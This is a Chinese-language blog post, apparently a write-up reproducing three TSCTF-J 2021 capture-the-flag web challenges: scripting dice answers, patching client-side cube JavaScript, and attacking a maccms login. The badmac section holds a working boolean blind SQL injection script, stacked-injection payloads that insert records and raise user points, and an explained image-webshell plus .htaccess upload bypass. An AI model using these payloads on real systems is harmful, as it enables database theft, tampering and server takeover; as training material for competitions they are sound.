TSCTF-J2021-Web部分复现

部分复现

ez_au

比赛时尝试了一下手操,然后发现通过12个验证问题需要控制在不是人能达到的速度下。当时思考的是绕过,但是似乎后台会记录每一次答案的正确与否,再在bp里抓包看看,就只有cookie里的PHPSESSID引起了我的注意,但稍微搜索了一下,发现这只是php代码里用来识别不同SESSION会话的机制,PHP脚本可以设置为为每一个新会话自动生成一个PHPSESSID,保存在浏览器的cookie中,随着接下来的请求一起上传到服务端,服务端再根据此找到SESSION对象,从而获取所对应的信息,进行一一处理。

这时就没有思路了。

看WP和讨论,需要用脚本,那就开始学吧。(原来得用硅基生命来解决这个问题呢)

之前看requests库就只看了一两篇文章就溜了,这次边学边做呗。

先理清自动化脚本要实现什么。

  1. 获取请求。
  2. 找到当前页面的骰子。
  3. 计算答案。
  4. 发送请求。
  5. 跳转到step1并重复12次。

bp抓包发现answer是用POST传递的,并且请求头必须含有PHPSESSID(见上面的分析)。
那就bp抓包构造请求头,然后待会把PHPSESSID替换成一个随意的值。

如何找到骰子?
骰子在页面有回显,尝试在源代码中搜索,的确搜到了,那就弄个映射关系。

然后就是脚本计算,正则表达式用得不是很熟练,就普通地写了。。。

接着就是发送请求,之前不知道怎么用requests库发送POST数据(我之前学了个啥。。。),查阅文档,直接用data=就行。。。
/PIC/m2.png

然后写出如下脚本:
/PIC/m3.png

运行发现没有获取验证问题,再bp抓包发现得向getproblem传参%E8%8E%B7%E5%8F%96%EF%BC%88%E9%87%8D%E7%BD%AE%EF%BC%89%E9%AA%8C%E8%AF%81%E9%97%AE%E9%A2%98,加在开头就行了。

然后发现说是验证错误,思考了半天感觉脚本写的没毛病,想到了可能是编码问题,果然,我vscode敲代码以前默认是GBK,运行后所有骰子都变成了?,换成utf-8就行了。

最终如下:

import requests
from requests.models import Response
url = 'http://120.53.107.60/authentication.php'
headers = {
    'Pragma': 'no-cache',
    'Cache-Control': 'no-cache',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': 'PHPSESSID=miaomiaomiao',
    'Connection': 'close',
}
dice = ['⚀','⚁','⚂','⚃','⚄','⚅']
if __name__=='__main__':
    response = requests.post(url=url, headers=headers, data={'getproblem':'%E8%8E%B7%E5%8F%96%EF%BC%88%E9%87%8D%E7%BD%AE%EF%BC%89%E9%AA%8C%E8%AF%81%E9%97%AE%E9%A2%98'})
    for cnt in range(12):
        num = 0
        sum = 0
        for i in range(6):
            if dice[i] in response.text:
                sum += i + 1
                num += 1
        if (num == 1) :
            sum *= 2
        response = requests.post(url=url, headers=headers, data={'answer':sum})
    print(response.text)

得到flag: TSCTF-J{s0_Ez_4_silic0n_b4s3d_life}

再仔细看WP,原来getpromblem只要是个值就行了啊,,,还有原来requests库自带构造session的函数。。。

cube

比赛时看见cube.js里那么长的代码就润了。。。。现在可以练习一下。

首先手操一遍,再看看html源码,大致任务就是在999ms内还原魔方,并按下id=chk的按钮。hint的话感觉不是很懂。。。

然后开始审计js代码。

从函数名和大致内容猜测代码前半段是cube主体,后半段有大量用来加密flag的函数,最后几行函数显然是一个突破口。

//转魔方
rules.forEach(rule => {
	document.getElementById(rule.id).addEventListener('click', rule.ops)
})

//Hint点击时提示
document.getElementById('Hint').addEventListener('click', () => {})

//cube的构造与渲染
cube.rX = rX; cube.rY = rY; cube.render(rX, rY)
window.cube = cube; 

//猜测是分享,与题目无关。
document.getElementById('share').src = $canvas.toDataURL()

//页面刚加载时更新一次cube并设置时间。
window.onload=function(){
	document.getElementById("btn-shuffle").click();
	window.setTimeout(function(){myTimer()},8200);
}
//设置时间。
function myTimer() {
	document.getElementById("text").innerHTML="please finish this cube in 999ms.";
	setTimeout(function(){document.getElementById("text").innerHTML="Timeout!\nLoser.";window.setTimeout(function(){window.location.reload(true);},300);},999);
}

//Hint提示内容。
document.getElementById('Hint').addEventListener('click', () => {document.getElementById("text").innerHTML="..."})

既然flag并未存储于服务端,当然可以通过本地运行修改js代码的方式来获取。
这里就可以删去时间的限制。
/PIC/f2.png
然后再在rules表中找到了id=chk时对应的操作:cube.Icegey()
/PIC/f3.png

跟进去。
/PIC/f4.png
发现需要满足两个if为真,这也许就是判断cube复原的条件,直接暴力替换为1就可以直接运行了吧。
/PIC/f5.png
然后在本地搭好环境,等待cube打乱后在控制台输入cube.Icegey(),就跳出了这个:
/PIC/f1.png
猜测是base64加密,解密可得:
TSCTF-J{HELLO_CUBE_MASTES_AND_HAVE_FUN_IN_HERE>>>>}

badmac

呜呜呜,这道题充分体现了我的zz水平。。。傻事做尽。

比赛时逛逛小网站,以为搜索的wd是一个注入点,尝试半天无果就放弃了。。。(甚至都没打开附件

复现时问f0才知道原来注入点在用户登录这里TAT。

一般网站框架会对用户密码进行编码处理,所以考虑对账号的注入。先正常输入admin,发现页面弹出:
/PIC/q4.png

想看这句话出现在源码中的哪个位置,写了个递归脚本:
/PIC/q5.png
从语言包中找到了所对应的英文名称,继续执行搜索脚本,找到了User.php中的关键代码,并进行初步审计:
/PIC/q6.png

这里表明后端的确未对sql查询语句做过滤,存在注入,而且使用了multi_query(),暗含了可能用到的堆叠注入。不懂affected_rows的意思,搜索后明白大致含义是返回所影响的行数。而且回显也只有两种情况,要么没有影响,要么有影响。

需要知道用户登录信息,就需要sqli获得,在这里明显是布尔盲注。

验证:
/PIC/q7.png
/PIC/q8.png
的确存在。

考虑采用二分布尔盲注脚本。
写完后就可以跑出来一个账号和密码:
/PIC/q9.png

登进去,看到修改头像,然后就在思考如何文件上传惹。。。查看源码,发现绕不过去这个:
/PIC/q10.png

在提示下看看资讯,看来得为账户充点钱,这时发现的堆叠注入就有用了,直接堆叠注入给自己加points。
/PIC/q11.png
我感觉我有亿点傻。

完整的脚本贴在这:

import requests

Fs = "获取用户信息失败"
Ts = "用户登录失败"

url = "http://123.57.193.197:12334/maccms/index.php/user/login.html"

def injection_database(url) :
	res = ""
	for i in range(1,2000) :
		left = 32
		right = 128
		mid = (left + right) // 2
		while (left < right) :
			payload = "1' or (ascii(substr((select database()),%d,1)))>%d;#" % (i, mid)
			data = {"user_name" : payload, "user_pwd" : "123456"}
			resp = talk.post(url, data=data)
			if Ts in resp.text :
				left = mid + 1
			else :
				right = mid
			mid = (left + right) // 2
		if (mid == 32) :
			break
		res += chr(mid)
	print(res)

def inject_table(url):
	res = ""
	for i in range(1,2000):
		left = 32
		right = 128 
		mid = (left + right) // 2
		while (left < right):
			payload = "1' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'maccms'),%d,1)))>%d;#" % (i, mid)
			data = {"user_name" : payload, "user_pwd" : "123456"}
			resp = talk.post(url, data=data)
			if Ts in resp.text :
				left = mid + 1
			else :
				right = mid
			mid = (left + right) // 2 
		if (mid == 32) :
			break
		res += chr(mid)
	print(res)

def injection_column(url):
	res = ""		   
	for i in range(1,2000):
		left = 32
		right = 128 
		mid = (left + right) // 2
		while (left < right):
			payload = "1' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema='maccms' and table_name='tsctfj_card'),%d,1)))>%d;#" % (i, mid)
			data = {"user_name" : payload, "user_pwd" : "123456"}
			resp = talk.post(url, data=data)
			if Ts in resp.text :
				left = mid + 1
			else :
				right = mid
			mid = (left + right) // 2 
		if (mid == 32) :
			break
		res += chr(mid)
	print(res)

def injection_info(url) :
	res = ""		   
	for i in range(1,2000):
		left = 32
		right = 128 
		mid = (left + right) // 2
		while (left < right):
			payload = "1' or (ascii(substr((select group_concat(card_no) from maccms.tsctfj_card),%d,1)))>%d;#" % (i, mid)
			data = {"user_name" : payload, "user_pwd" : "123456"}
			resp = talk.post(url, data=data)
			if Ts in resp.text :
				left = mid + 1
			else :
				right = mid
			mid = (left + right) // 2 
		if (mid == 32) :
			break
		res += chr(mid)
	print(res)

def change_card(url) :
	payload = "1';insert into tsctfj_card(card_no,card_pwd,card_money,card_points,card_use_status,card_sale_status) values(123,123,4294967295,4294967295,0,0);#"
	data = {"user_name" : payload, "user_pwd" : "123456"}
	resp = talk.post(url, data=data)
	print(resp.text)

def change_points(url) :
	payload = "1';UPDATE tsctfj_user SET user_points='4294967295' WHERE user_name='atestuserintsctf-j';#"
	data = {"user_name" : payload, "user_pwd" : "123456"}
	resp = talk.post(url, data=data)
	print(resp.text)

if __name__ == "__main__" :
	talk = requests.session()
	#injection_database(url)
	#inject_table(url)
	#injection_info(url)
	#change_points(url)

获得提示:在get请求中加个tsctf-j_2021_zbr_666=666_rbz_1202_j-ftcst

然后就是上传time。

先随便上传,发现后端应该对文件后缀做了限制,把msg的信息放在搜索脚本中跑一下,找到了upload函数,在ctfhub技能树中学过此时考虑使用图片马,要么上传.htaccess文件,要么找文件包含漏洞,一开始尝试上传.htaccess文件,结果:
/PIC/q12.png
查看源码以为是抛出了这个异常上传就终止了,,,,于是就开始了找文件包含漏洞的不归路。。。。

问了f0才知道,,,原来这个是上传成功了啊。。。。。草。。。。
然后就可以用图片马连了。

简单讲一下原理:图像文件具有的特征性字段,后端检测当然可以用此来判断是否是图像文件,那么可以把一句话后门藏在图像文件中,就能绕过此判断,当然光有这个还不够,得让服务器以php来解析此文件,这里就用到了.htaccess文件,规定了AddType application/x-httpd-php .png,即在当前目录,以php的形式解析所有png文件,于是就可以用蚁剑连后门了。

/PIC/q1.png

/PIC/q2.png

/PIC/q3.png

得到flag。

posted @ 2021-11-12 19:04  SilentEAG  阅读(112)  评论(0编辑  收藏  举报